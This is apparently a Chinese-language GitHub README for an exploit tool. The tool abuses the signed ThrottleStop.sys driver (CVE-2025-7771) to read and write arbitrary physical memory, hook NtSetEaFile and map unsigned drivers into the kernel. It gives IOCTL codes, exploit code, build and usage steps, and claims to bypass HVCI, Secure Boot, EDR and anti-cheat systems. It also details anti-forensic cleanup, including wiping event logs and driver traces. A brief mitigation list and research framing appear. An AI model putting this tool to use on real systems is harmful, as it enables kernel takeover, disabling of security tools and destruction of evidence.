利用throttlestop漏洞从未签名驱动提升系统权限
CVE-2025-7771 — 通过 ThrottleStop.sys IOCTL 实现任意物理内存读写
本项目仅用于教育和研究目的。目的在于演示一个经过签名、受信任的内核驱动程序如何被武器化,用于从管理员权限提升至 SYSTEM/内核 权限,有效绕过包括 HVCI(超管理器强制代码完整性) 和 安全启动 在内的现代 Windows 安全功能。
请勿将此工具用于恶意目的。 作者对任何滥用行为不承担责任。
ThrottleStop.sys 版本ThrottleStop.sys 内核驱动程序暴露了一个设备(\\.\ThrottleStop),任何本地管理员均可访问。它实现了两个提供无限制物理内存访问的 IOCTL:
#define IOCTL_TS_READ_PHYS 0x80006498 // 读取任意物理地址
#define IOCTL_TS_WRITE_PHYS 0x8000649C // 写入任意物理地址
0x80006498)输入: ULONG64 PhysicalAddress (8 字节)
输出: 数据缓冲区 (每次调用 1–8 字节,由 OutputBufferLength 决定)
驱动程序调用 MmMapIoSpace() 将请求的物理地址映射到内核虚拟空间,将数据复制到输出缓冲区,然后调用 MmUnmapIoSpace()。对物理地址不执行任何验证 — 可以读取物理地址空间中的任何地址。
0x8000649C)输入: ULONG64 PhysicalAddress (8 字节) + 数据 (1–8 字节)
InputBufferLength = 8 + DataSize
输出: 无
与读取相同的机制,但将用户提供的数据写入映射的物理地址。同样,没有地址或范围验证。
该驱动程序旨在允许 ThrottleStop(一款 CPU 降压/节流工具)直接读写 MSR 和硬件寄存器。物理内存 IOCTL 很可能是为了实现对 PCI 配置空间或 CPU 温度传感器的 MMIO 访问而添加的,但实现中零边界检查:
GENERIC_READ | GENERIC_WRITE 句柄访问权限外,无 ACL 限制这会将一个合法的硬件工具驱动程序转变为完整的内核级读写原语。
利用链从本地管理员账户提升到任意内核代码执行,实际上获得 SYSTEM 级别的 ring-0 控制权。
映射器将 ThrottleStop.sys 释放到 %TEMP%,在 HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop 下创建服务注册表项,然后通过 NtLoadDriver() 加载:
// 为当前进程启用 SeLoadDriverPrivilege
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// 创建指向释放的 .sys 文件的服务项
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// 通过 NtLoadDriver 加载
NtLoadDriver(&driver_reg_path_unicode);
// 打开设备句柄
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
注意: 由于 ThrottleStop.sys 已合法签名,即使启用了 HVCI/安全启动,它也能加载。Windows CI 策略信任该证书。
有了设备句柄,漏洞利用程序可以读取/写入系统上的任何物理地址:
// 从物理地址 0x1000 读取 8 字节
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// 向物理地址写入 8 字节
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // 地址
*(ULONGLONG*)(input + 8) = shellcode_qword; // 数据
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
漏洞利用程序将这些封装到辅助函数中,以分块读取/写入(每次调用 1、2、4 或 8 字节)处理任意长度的传输。
为了执行任意内核函数,漏洞利用程序需要找到内核系统调用处理程序的物理地址。它瞄准了 NtSetEaFile(一个很少被监控的系统调用):
LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) 加载 ntoskrnl.exe,获取 NtSetEaFile 的 RVARVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory)枚举物理内存范围,以 2MB 为步长,比较字节:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // 快速检查
{
read_phys(candidate_pa, verify, 32); // 完全验证
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // 找到了!
// ... 通过 PsGetProcessSectionBaseAddress 验证
}
}
}
PsGetProcessSectionBaseAddress(current_pid),并验证返回的基址是否与 GetModuleHandle(NULL) 匹配。一旦知道了 NtSetEaFile 的物理地址,漏洞利用程序直接通过物理内存写入安装一个 12 字节的 trampoline:
; 原始 NtSetEaFile 字节(已保存用于恢复)
; 替换为:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// 安装挂钩
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <目标地址>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// 从用户态触发
NtSetEaFile(args...); // → 跳转到内核中的 target_function!
// 恢复原始字节
write_phys(syscall_phys_addr, saved_bytes, 12);
关键洞察: 写入物理页面绕过了 HVCI 的虚拟内存保护。HVCI 阻止
W+X虚拟页面,但驱动程序通过MmMapIoSpace进行的物理内存写入直接进入 RAM。
有了系统调用挂钩原语,漏洞利用程序可以调用任何内核函数并传入任意参数:
// 分配可执行内核内存(HVCI 兼容)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// 通过 RtlCopyMemory 将驱动程序映像复制到内核池
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// 调用驱动程序的 DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
这实际上在内核空间中映射并执行了一个未签名的驱动程序 — 完全提权。
加载有效载荷后,漏洞利用程序清除所有痕迹:
HVCI(超管理器强制代码完整性) 通过二级地址转换(SLAT/EPT)对内核虚拟页面强制执行 W^X(写异或执行),防止未签名代码在内核空间中执行。
此漏洞利用绕过 HVCI 的原因是:
合法驱动程序: ThrottleStop.sys 已正确签名并通过 CI 验证,因此即使 HVCI 处于活动状态,它也能正常加载。
物理而非虚拟: IOCTL 使用 MmMapIoSpace(),它操作物理地址。HVCI 的保护是在虚拟页表级别并通过 EPT 强制执行的,但 MmMapIoSpace 为物理页面创建了一个具有适当权限的新虚拟映射。对系统调用物理页面的写入修改了现有虚拟映射已指向的 RAM 内容。
可执行池: 漏洞利用程序通过 ExAllocatePool2 并使用 POOL_FLAG_NON_PAGED_EXECUTE 分配内存,这是一种合法的、HVCI 认可的获取可执行内核内存的方式。内核本身将其用于 JIT 编译的代码和某些池分配。
未加载未签名驱动程序: 映射器从不使用未签名映像调用 NtLoadDriver。相反,它手动将有效载荷写入一个已是可执行的内核池分配中,并通过系统调用挂钩调用其入口点。
┌─────────────────────────────────────────────┐
│ 用户态 (管理员) │
│ │
│ 1. 加载 ThrottleStop.sys(已签名,受信任) │
│ 2. 打开 \\.\ThrottleStop 设备 │
│ 3. 通过 IOCTL 读/写物理内存 │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (内核) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ 无验证,任何物理地址均可 │
└──────────────┬──────────────────────────────┘
│ 物理内存写入
▼
┌─────────────────────────────────────────────┐
│ NtSetEaFile 物理页面 │
│ │
│ 原始字节被覆盖为: │
│ mov rax, <payload>; push rax; ret │
│ │
│ → 任何用户态 NtSetEaFile() 调用现在 │
│ 执行任意内核代码 │
└──────────────┬──────────────────────────────┘
│ 内核代码执行
▼
┌─────────────────────────────────────────────┐
│ 完全内核沦陷 │
│ │
│ • ExAllocatePool2(可执行池) │
│ • 将未签名驱动程序映射到内核内存 │
│ • 调用 DriverEntry → SYSTEM 级别访问 │
│ • 清除所有取证痕迹 │
└─────────────────────────────────────────────┘
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# 在 Visual Studio 中打开 imxyviMapper.sln
# 构建 → x64 Release
# 基本用法 — 自动扫描物理内存以查找系统调用页面
mapper.exe payload_driver.sys
# 使用预先计算的内核 CR3(更快,跳过扫描)
mapper.exe payload_driver.sys 1AD000
[+] 驱动程序:45056 字节
[*] 解析 PE...
[+] PE 正常:entry=0x3040 size=0xC000
[*] 加载存在漏洞的驱动程序...
[+] 驱动程序已加载,句柄=0x0000000000000094
[+] IOCTL 正常
[*] 查找系统调用页面...
[+] 找到系统调用页面
[*] 修复导入...
[*] 分配可执行内核池(49152 字节)...
[+] 池分配于:FFFFA40B7C8E0000
[*] 向内核写入驱动程序...
[*] 调用入口点 0xFFFFA40B7C8E3040...
[+] 入口点返回
[*] 清理 MmUnloadedDrivers...
[+] MmUnloadedDrivers 已成功清除
[*] 卸载存在漏洞的驱动程序...
[+] 完成
ThrottleStop.sys 的哈希添加到 Microsoft 易受攻击驱动程序阻止列表MmMapIoSpace 调用rdmsr/wrmsr)代替原始的 MmMapIoSpaceMmMapIoSpace 限制为已知的 MMIO 范围(PCI BAR 区域、LAPIC 等)ThrottleStop.sys本项目根据 MIT 许可证 发布,用于教育研究目的。底层的 physmeme 框架 © 2020 xerox (MIT 许可证)。
🔬 负责任的披露: 此漏洞由 Demoo1337 发现并向供应商披露。此存储库作为安全研究社区的文档。
| 字段 | 详情 |
|---|
| CVE | CVE-2025-7771 |
| 驱动程序 | ThrottleStop.sys(随 ThrottleStop 一起发布) |
| 供应商 | TechPowerUp / Kevin Glynn |
| 类型 | 任意物理内存读写 |
| 影响 | 本地权限提升(管理员 → 内核) |
| CVSS | 8.2(高危) |
| 签名 | 通过 WHQL / 证明进行 Microsoft 签名 |
| 绕过 HVCI | ✅ 是 — 驱动程序已合法签名,被 CI 策略允许 |
| 痕迹 | 清理方法 |
|---|
| PiDDB 缓存 | 解锁 PiDDBLock,通过 RtlLookupElementGenericTableAvl 在 AVL 树中找到条目,取消链接并删除 |
| MmUnloadedDrivers | 扫描 50 条目的循环缓冲区,将匹配的名称和条目清零 |
| BigPoolTable | 扫描 PoolBigPageTable 找到分配 VA,将条目清零 |
| Pool 头部 | 将 POOL_HEADER 标签伪造为 MmSt(常见系统标签) |
| PE 头部 | 将内核分配中的 DOS/NT 头部、导入目录、调试目录、可丢弃节区清零 |
| 注册表 | 删除 HKLM\...\Services\ThrottleStop 键树 |
| 驱动程序文件 | 从 %TEMP% 删除 ThrottleStop.sys |
| 事件日志 | 清除系统和安全日志中的相关条目 |
| Prefetch / BAM | 清理 ShimCache、BAM(后台活动调节器)和 Prefetch 痕迹 |
| 类别 | 影响 |
|---|
| 机密性 | 🔴 完全 — 可读取任何内核/进程内存 |
| 完整性 | 🔴 完全 — 可写入任何内核结构,挂钩任何函数 |
| 可用性 | 🟡 高 — 不正确的写入会导致蓝屏 |
| 身份验证绕过 | 🔴 从管理员获得 SYSTEM 访问权限 |
| 反作弊绕过 | 🔴 绕过内核级反作弊(EAC、BattlEye、Vanguard) |
| EDR 绕过 | 🔴 运行在 EDR 挂钩之下,可取消挂钩/禁用安全工具 |
| HVCI | 🔴 通过合法的签名驱动程序绕过 |
| 安全启动 | 🔴 绕过(驱动程序具有有效签名) |
| 贡献者 | 贡献 |
|---|
| Demoo1337 | CVE-2025-7771 的原始发现和文档。逆向分析了 ThrottleStop.sys 的 IOCTL 处理程序,识别了 MmMapIoSpace 物理内存漏洞,并发布了初始概念验证漏洞利用。没有他的研究,本项目将不存在。 |
| xerox / IDontCode | physmeme 框架的作者,该框架用作内核映射器、系统调用挂钩和取证清理逻辑的基础。 |
| TheCruZ | kdmapper 的作者,其 PiDDB 缓存清理和驱动程序映射技术为本实现提供了参考。 |